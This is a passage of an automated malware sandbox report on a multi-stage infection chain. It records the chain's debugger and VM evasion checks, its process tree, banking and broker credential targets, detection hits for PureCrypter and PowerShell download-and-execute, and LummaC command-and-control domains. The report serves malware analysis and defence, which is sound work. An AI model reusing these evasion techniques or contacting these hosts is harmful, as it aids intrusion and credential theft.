Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054CA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696494690p
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: file.exe, 00000000.00000002.2027401280.00000000019D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWx
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: file.exe, 00000000.00000002.2026343843.00000000010E6000.00000040.00000001.01000000.00000003.sdmp, 8407c5d8e2.exe, 0000001B.00000002.2568304145.0000000006756000.00000040.00000800.00020000.00000000.sdmp, ef7349e1dc.exe, 0000001E.00000002.2362352732.00000000011E6000.00000040.00000001.01000000.00000019.sdmp, ef7349e1dc.exe, 00000021.00000002.2487050266.00000000011E6000.00000040.00000001.01000000.00000019.sdmp	Binary or memory string: RhgfS
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: file.exe, 00000000.00000002.2027401280.0000000001A08000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2027401280.00000000019E9000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.2697095566.0000000001314000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000019.00000002.2697095566.00000000012F6000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000002.2559358287.00000000011A2000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000002.2559358287.0000000001183000.00000004.00000020.00020000.00000000.sdmp, ef7349e1dc.exe, 0000001E.00000002.2363926380.0000000001C15000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000002.2530549611.0000000000C25000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000003.2525082942.0000000000C25000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001F.00000002.2530198607.0000000000BCC000.00000004.00000020.00020000.00000000.sdmp, ef7349e1dc.exe, 00000021.00000002.2493407371.0000000001A2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: ef7349e1dc.exe, 00000025.00000002.2653003050.000000000163A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW^
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: skotes.exe, 00000019.00000002.2697095566.00000000012CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW t0
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: file.exe, 00000000.00000002.2048030528.0000000023EF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMware20,11696494690x
Source: ef7349e1dc.exe, 00000025.00000002.2653003050.00000000015CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 8407c5d8e2.exe, 0000001B.00000002.2559358287.000000000118E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareT
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: file.exe, 00000000.00000002.2048030528.0000000023EF0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: cRECOVE~1381bankoRecoveryImprovedVMware20,11696494690x
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE
Source: file.exe, file.exe, 00000000.00000002.2026343843.00000000010E6000.00000040.00000001.01000000.00000003.sdmp, DocumentsEGHJKFHJJJ.exe, DocumentsEGHJKFHJJJ.exe, 00000018.00000002.2078425943.0000000001191000.00000040.00000001.01000000.00000014.sdmp, skotes.exe, skotes.exe, 00000019.00000002.2687363468.0000000000A51000.00000040.00000001.01000000.00000017.sdmp, skotes.exe, 0000001A.00000002.2132837329.0000000000A51000.00000040.00000001.01000000.00000017.sdmp, 8407c5d8e2.exe, 0000001B.00000002.2568304145.0000000006756000.00000040.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000002.2555965695.0000000000695000.00000040.00000001.01000000.00000018.sdmp, ef7349e1dc.exe, 0000001E.00000002.2362352732.00000000011E6000.00000040.00000001.01000000.00000019.sdmp, 8407c5d8e2.exe, 0000001F.00000002.2527015931.0000000000695000.00000040.00000001.01000000.00000018.sdmp, ef7349e1dc.exe, 00000021.00000002.2487050266.00000000011E6000.00000040.00000001.01000000.00000019.sdmp, ae09953578.exe, 00000022.00000002.2624771099.0000000000C80000.00000040.00000001.01000000.0000001A.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: ef7349e1dc.exe, 0000001E.00000002.2363926380.0000000001C15000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: DocumentsEGHJKFHJJJ.exe, 00000018.00000003.2043998009.0000000001460000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: 8407c5d8e2.exe, 00000024.00000003.2600408891.0000000000E49000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2596844258.0000000000E49000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000002.2696149096.0000000000E49000.00000004.00000020.00020000.00000000.sdmp, 8407c5d8e2.exe, 00000024.00000003.2615948450.0000000000E49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%
Source: msedge.exe, 00000008.00000003.1647553550.00002E5C00320000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: ef7349e1dc.exe, 0000001E.00000002.2363926380.0000000001BE5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: 8407c5d8e2.exe, 0000001B.00000002.2559358287.000000000114E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`H
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: msedge.exe, 00000008.00000002.1668187073.000002B257244000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: 8407c5d8e2.exe, 00000024.00000003.2582497871.00000000054C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: file.exe, 00000000.00000002.2026343843.00000000010E6000.00000040.00000001.01000000.00000003.sdmp, DocumentsEGHJKFHJJJ.exe, 00000018.00000002.2078425943.0000000001191000.00000040.00000001.01000000.00000014.sdmp, skotes.exe, 00000019.00000002.2687363468.0000000000A51000.00000040.00000001.01000000.00000017.sdmp, skotes.exe, 0000001A.00000002.2132837329.0000000000A51000.00000040.00000001.01000000.00000017.sdmp, 8407c5d8e2.exe, 0000001B.00000002.2568304145.0000000006756000.00000040.00000800.00020000.00000000.sdmp, 8407c5d8e2.exe, 0000001B.00000002.2555965695.0000000000695000.00000040.00000001.01000000.00000018.sdmp, ef7349e1dc.exe, 0000001E.00000002.2362352732.00000000011E6000.00000040.00000001.01000000.00000019.sdmp, 8407c5d8e2.exe, 0000001F.00000002.2527015931.0000000000695000.00000040.00000001.01000000.00000018.sdmp, ef7349e1dc.exe, 00000021.00000002.2487050266.00000000011E6000.00000040.00000001.01000000.00000019.sdmp, ae09953578.exe, 00000022.00000002.2624771099.0000000000C80000.00000040.00000001.01000000.0000001A.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe

Code function: 24_2_053E0B20 rdtsc

24_2_053E0B20

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CCCAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CCCAC62

Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Code function: 24_2_00FC652B mov eax, dword ptr fs:[00000030h]	24_2_00FC652B
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Code function: 24_2_00FCA302 mov eax, dword ptr fs:[00000030h]	24_2_00FCA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0088A302 mov eax, dword ptr fs:[00000030h]	25_2_0088A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 25_2_0088652B mov eax, dword ptr fs:[00000030h]	25_2_0088652B

Source: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CCCAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6CCCAC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 7596, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8407c5d8e2.exe PID: 7432, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ef7349e1dc.exe PID: 5908, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ef7349e1dc.exe PID: 6596, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ef7349e1dc.exe PID: 7172, type: MEMORYSTR

Detected PureCrypter Trojan

Source: 8407c5d8e2.exe, 0000001B.00000003.2288460780.0000000005C2E000.00000004.00000800.00020000.00000000.sdmp

String found in binary or memory: {"ConfigIDs":"{\"ECS\":\"P-R-1082570-1-11,P-D-42388-2-6\",\"Edge\":\"P-X-1253166-4-5,P-X-1222396-1-3,P-X-1126445-2-5,P-X-1159506-2-5,P-X-1137521-3-11,P-X-1116674-11-34,P-X-1095018-2-6,P-X-1096650-2-6,P-X-1085156-2-3,P-X-1077147-1-9,P-X-1069756-2-8,P-X-1071593-2-4,P-X-1061902-3-17,P-X-1048071-1-5,P-X-1010579-1-9,P-X-1036081-1-3,P-X-1012411-2-9,P-X-97954-9-100,P-R-1068861-4-11,P-R-1008497-12-13,P-R-87486-2-17,P-R-67067-6-63,eej45377:646690,v1_disable_abandoned_cart:506070,41612551:479862,cfg5e884:560003,eggf0128:472101,sendtabqr:498558,edauth0529:481519,9ffeg962:402950,domexpansion_v1cf:408273,ed0317:378541,producttrackingalertsettings_v1cf:458226,2chfa640:363442,edpas404:384675,hjd07315:315108,edenh823:312573,v1_onlineselextraction:330872,edklo447:358232,linkui:481501\",\"EdgeConfig\":\"P-R-1457891-1-5,P-R-1279375-1-7,P-R-1221542-1-5,P-R-1176033-4-5,P-R-1174322-1-4,P-R-1129815-1-5,P-R-1148262-1-5,P-R-1147287-1-6,P-R-1136203-1-4,P-R-1133477-1-4,P-R-1130507-1-6,P-R-1113531-4-9,P-R-1099640-1-4,P-R-1098501-1-7,P-R-1090419-1-5,P-R-1082109-1-6,P-R-1082170-11-26,P-R-1052391-1-8,P-R-1036635-2-5,P-R-110491-24-85,P-R-68474-9-12,P-R-61206-14-20,P-R-61153-10-15,P-R-60617-7-21,P-R-45373-8-85,P-R-46265-41-108,P-D-1150672-1-4\",\"EdgeDomainActions\":\"P-R-1093245-1-19,P-R-1037936-1-14,P-R-1024693-1-11,P-R-108604-1-36,P-R-78306-1-18,P-R-73626-1-17,P-R-71025-5-13,P-R-63165-4-26,P-R-53243-2-7,P-R-40093-3-26,P-R-38744-7-97,P-R-31899-21-484,P-D-1138318-1-3,P-D-98331-6-32\",\"EdgeFirstRunConfig\":\"P-R-1075865-1-7\",\"Segmentation\":\"P-R-1159985-1-5,P-R-1113915-25-11,P-R-1098334-1-6,P-R-66078-1-3,P-R-66077-1-5,P-R-60882-1-2,P-R-43082-3-5,P-R-42744-1-2\"}","Edge":{"AccountLevelSyncReclaim":{"enableFeatures":["msAccountLevelSyncConsent","msNurturingAccountLevelSyncConsentSyncOff","msNurturingAccountLevelSyncConsentSyncOn"]},"AdsPlatformXEdgeexp":{"enableFeatures":["msEdgeAdPlatformUI","msEdgeAdPlatformBingPathsV3","msEdgeAdPlatformProtobufMigration","msEdgeAdPlatformUseIdentity"]},"ArrestUserChurn":{"enableFeatures":["msLoadChromeWebstoreByDefault"]},"DefaultBrowserBannerExternalStableRollout":{"enableFeatures":["msNurturingDefaultBrowserBannerCloseBtn","msNurturingUrlParser","msEdgeNurFIrisSupport"],"parameters":[{"name":"DismissalCap","value":"1000"}]},"DisablePageActionIcons":{"enableFeatures":["msOmniboxDisablePageActionIcons"],"parameters":[{"name":"msDisableOmniboxTriggeredIcon","value":"12,16"}]},"DisconnectedErrorPageVariations":{"enableFeatures":["msShowTroubleshootButtonOnErrorPage","msDisconnectedErrorPageVariation2"]},"EdgeOnRampShowVersionWhatsNew":{"enableFeatures":["msEdgeOnRampShowWhatsNew"],"parameters":[{"name":"Browser Version","value":"130.0.0.0"}]},"EdgeShoppingDisableAbandonedCart":{"disableFeatures":["msEdgeShoppingPwiloNotificationsAbandonedCarts"]},"EdgeShoppingOnlineSelectorExtraction":{"enableFeatures":["msShoppingExp1"]},"EdgeVpnAllSites":{"enableFeatures":["msEnableVpnAllSites"]},"EnhancedTextContrast":{"enableFeatures":["msEnhancedTextCont

LummaC encrypted strings found

Source: 8407c5d8e2.exe, 0000001B.00000002.2555539526.00000000004B1000.00000040.00000001.01000000.00000018.sdmp	String found in binary or memory: scriptyprefej.store
Source: 8407c5d8e2.exe, 0000001B.00000002.2555539526.00000000004B1000.00000040.00000001.01000000.00000018.sdmp	String found in binary or memory: navygenerayk.store
Source: 8407c5d8e2.exe, 0000001B.00000002.2555539526.00000000004B1000.00000040.00000001.01000000.00000018.sdmp	String found in binary or memory: founpiuer.store
Source: 8407c5d8e2.exe, 0000001B.00000002.2555539526.00000000004B1000.00000040.00000001.01000000.00000018.sdmp	String found in binary or memory: necklacedmny.store
Source: 8407c5d8e2.exe, 0000001B.00000002.2555539526.00000000004B1000.00000040.00000001.01000000.00000018.sdmp	String found in binary or memory: thumbystriw.store
Source: 8407c5d8e2.exe, 0000001B.00000002.2555539526.00000000004B1000.00000040.00000001.01000000.00000018.sdmp	String found in binary or memory: fadehairucw.store
Source: 8407c5d8e2.exe, 0000001B.00000002.2555539526.00000000004B1000.00000040.00000001.01000000.00000018.sdmp	String found in binary or memory: crisiwarny.store
Source: 8407c5d8e2.exe, 0000001B.00000002.2555539526.00000000004B1000.00000040.00000001.01000000.00000018.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsEGHJKFHJJJ.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsEGHJKFHJJJ.exe "C:\Users\user\DocumentsEGHJKFHJJJ.exe"
Source: C:\Users\user\DocumentsEGHJKFHJJJ.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe "C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe "C:\Users\user\AppData\Local\Temp\1004854001\ef7349e1dc.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe "C:\Users\user\AppData\Local\Temp\1004856001\ae09953578.exe"

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CD14760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6CD14760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CBF1C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6CBF1C30

Source: file.exe, file.exe, 00000000.00000002.2026343843.00000000010E6000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CCCAE71 cpuid

0_2_6CCCAE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1004853001\8407c5d8e2.exe VolumeInformation
